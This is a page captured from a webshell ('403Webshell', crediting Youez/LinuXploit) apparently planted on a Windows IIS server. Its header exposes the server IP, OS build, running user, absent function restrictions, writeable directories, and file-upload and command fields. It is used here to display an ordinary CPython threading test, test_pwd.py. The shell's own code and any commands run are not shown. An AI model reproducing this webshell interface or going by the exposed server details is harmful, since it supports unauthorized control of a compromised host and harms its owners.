403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.70
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/test_free_threading/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/test_free_threading//test_pwd.py
import unittest

from test.support import threading_helper
from test.support.threading_helper import run_concurrently

from test import test_pwd


NTHREADS = 10


@threading_helper.requires_working_threading()
class TestPwd(unittest.TestCase):
    def setUp(self):
        self.test_pwd = test_pwd.PwdTest()

    def test_racing_test_values(self):
        # test_pwd.test_values() calls pwd.getpwall() and checks the entries
        run_concurrently(
            worker_func=self.test_pwd.test_values, nthreads=NTHREADS
        )

    def test_racing_test_values_extended(self):
        # test_pwd.test_values_extended() calls pwd.getpwall(), pwd.getpwnam(),
        # pwd.getpwduid() and checks the entries
        run_concurrently(
            worker_func=self.test_pwd.test_values_extended,
            nthreads=NTHREADS,
        )


if __name__ == "__main__":
    unittest.main()

Youez - 2016 - github.com/yon3zu
LinuXploit